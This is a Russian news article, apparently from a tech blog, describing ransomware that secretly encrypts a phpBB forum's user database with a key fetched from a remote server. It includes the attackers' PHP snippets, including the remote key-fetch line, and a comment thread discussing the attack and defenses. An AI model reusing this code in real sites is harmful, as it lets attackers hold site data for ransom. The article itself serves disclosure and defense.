Всё больше персональных компьютеров становятся жертвами троянов-вымогателей, которые шифруют документы и требуют выкуп в биткоинах за их расшифровку. Теперь на ту же наживку начали ловить владельцев веб-сайтов. О новых приёмах преступников сообщила компания High-Tech Bridge.
Специалисты впервые столкнулись с новым видом атаки в декабре 2014 года, когда за помощью обратилась одна из финансовых компаний: их веб-сайт вышел из строя и выдавал ошибку БД.
Тщательное расследование выявило поразительную вещь. Оказывается, троян установили на сервере ещё шесть месяцев (!) назад. Несколько серверных скриптов модифицировали таким образом, чтобы шифровать информацию перед занесением в БД и расшифровывать её «на лету» при получении запроса к базе. Ключ шифрования хранился на удалённом сервере.
Работа зловреда долго оставалась незамеченной для пользователей веб-приложения, пока в день «Д» злоумышленники не пошли в атаку и не удалили ключ шифрования.
Сотрудники High-Tech Bridge посчитали это уникальным случаем таргетированной атаки, но не тут-то было. Вскоре с аналогичным вымогательством столкнулся ещё один клиент, у которого враги зашифровали… базу с учётными данными пользователей форума phpBB.
Здесь использовался такой же сценарий. Функцию “sql_fetchrow()” в файле factory.php модифицировали, чтобы она выдавала расшифрованные значения полей с именами пользователей и адресами электронной почты.
if(isset($result['user_password'])){
$result['user_password'] = $cipher->decrypt($result['user_password']);
}
if(isset($result['user_email'])){
$result['user_email'] = $cipher->decrypt($result['user_email']);
}
Шифрование этих полей добавили в другие скрипты.
$sql_ary = array(
'username'=>$user_row['username'],
'username_clean' => $username_clean,
'user_password' => (isset($user_row['user_password']))?
$cipher->encrypt($user_row['user_password']):$cipher->encrypt(''),
'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])),
'user_email_hash'=> phpbb_email_hash($user_row['user_email']),
'group_id' => $user_row['group_id'],
'user_type' => $user_row['user_type'],
);
Адрес ключа шифрования прописан в конфигурационном файле.
class Cipher {
private $securekey, $iv;
function __construct($textkey) {
$this->securekey = hash('sha256',$textkey,TRUE);
$this->iv = mcrypt_create_iv(32);
}
function encrypt($input) {
return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
}
function decrypt($input) {
return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
}
}
$key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/
sdfds90f8d9s0f8d0f89.txt');
$cipher=new Cipher($key);
Злоумышленник терпел два месяца, прежде чем удалить ключ с удалённого сервера и потребовать выкуп $1000.
На сегодняшний день ни один антивирус не определяет инсталляторы этого зловреда: файл1, файл2.
29.01.2015 at 00:26
Вот это тема!
НУ что поздравляю разрабов вируса. Хороший код написал.!
29.01.2015 at 07:50
Любой код можно изменить так, что не один антивирус его не будет детектить, при это полезная нагрузка не изменится. Не с чем поздравлять то!!!!
29.01.2015 at 13:18
Ключевое: что до такого додумались! 🙂 И мало того — реализовали!!
Все равно молодцы. Котелок варит 🙂
29.01.2015 at 08:18
В такой статье было бы полезно указать, каким именно образом зловред попадает на сервер, а то не понятно, паниковать или нет?
29.01.2015 at 12:18
Да не суть важно. Распространяться может разными методами.
Тут важнее как противодействовать и детектировать. Понятно что не статическим анализом кода. Бекапы тоже не помогут, что печально =(
29.01.2015 at 12:41
Ни фига себе — не важно! Т.е., пусть кто угодно получает на серваке рута, а мы потом разгребём? 🙂
29.01.2015 at 12:51
lol
29.01.2015 at 16:23
Рут? Зачем рут?
01.02.2015 at 15:38
Запретить писать в ненужные места?
29.01.2015 at 12:50
Сами рассудите:
1. Оказывается, троян установили на сервере ещё шесть месяцев (!) назад.
2. Отсюда выходит, что в статье описывается не сам трой, а его модуль по крипту.
3. А отсюда выходит, что если сам сайт защищен ( и нету чудо-админа который подкинется на фишинговые письма(как вариант)), то не стоит паниковать.
29.01.2015 at 16:24
Вот это уже реально ужас. Если такое можно делать снаружи, через дырки в коде… Кошмар!!! Да почти все сайты/сервисы имеют уязвимости.
29.01.2015 at 19:55
«Интернет может служить причиной ухудшения здоровья. Особенно психического.»
ЗдравМин.
01.02.2015 at 14:18
статья гавно
01.02.2015 at 15:40
Ну да, откуда на СЕРВЕРЕ антивирус и зачем…
30.03.2015 at 22:47
Что за бред! Это не троян. Просто в исходник прописали модуль шифрования который брал ключ с другого сервера. Через 6 месяцев когда юзеров и постов на форуме добавилось чел удалил ключ и потребовал выкуп. Получилось что данные в базе все зашифрованы. Все проще простого.
07.05.2015 at 22:36
$key=file_get_contents(‘https://103.13.120.108/sfdoif89d7sf8d979dfgf/
sdfds90f8d9s0f8d0f89.txt’);
На сервере включена Url обертка для чтения удаленных файлов.
Она включается в php.ini, который всегда находится вне web каталога.
По умолчанию она выключена и читаются только локальные файлы.
Если это включено для file_get_contents, include, то проблем может вызвать больше и не только таким способом можно действовать. Проблемы url wrappers для этих функций обсуждаются в сети. Это лишь один из вариантов рализации.
Так что, не нужно бездумно менять настройки безопасности, выставленные по умолчанию.
07.05.2015 at 23:07
По умолчанию allow_ url_fopen включена, но некоторые хостеры отключают ее из соображений безопасности. У них такая история не прошла бы. Allow_url_include по умолчанию выключена и включать ее крайне не рекоммендуется.
BOMBERuss
15.10.2015 at 03:32
Теперь и сайты шифруют… Ну началоооось…